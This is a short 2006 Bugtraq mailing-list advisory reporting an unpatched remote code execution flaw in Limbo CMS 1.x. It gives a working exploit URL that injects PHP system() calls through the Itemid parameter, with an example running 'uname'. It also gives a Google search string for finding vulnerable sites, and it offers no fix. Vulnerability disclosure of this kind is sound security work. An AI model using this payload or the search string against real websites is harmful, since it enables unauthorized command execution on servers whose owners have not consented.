[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Limbo CMS code execution
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Limbo CMS code execution
- From: "Alexander Hristov" <joffer@xxxxxxxxx>
- Date: Wed, 1 Mar 2006 01:34:41 +0200
Official page : http://www.limbo-cms.com/
Vulnerable : Limbo 1.*
Fix : No
Bug :
http://somehost/path-to-limbo/index.php?option=frontpage&Itemid=system(CODE)
example : index.php?option=frontpage&Itemid=system(uname)
Google search string : inurl:"option=frontpage"
--
Best Regards,
Aleksander Hristov < root at securitydot.net > < http://securitydot.net >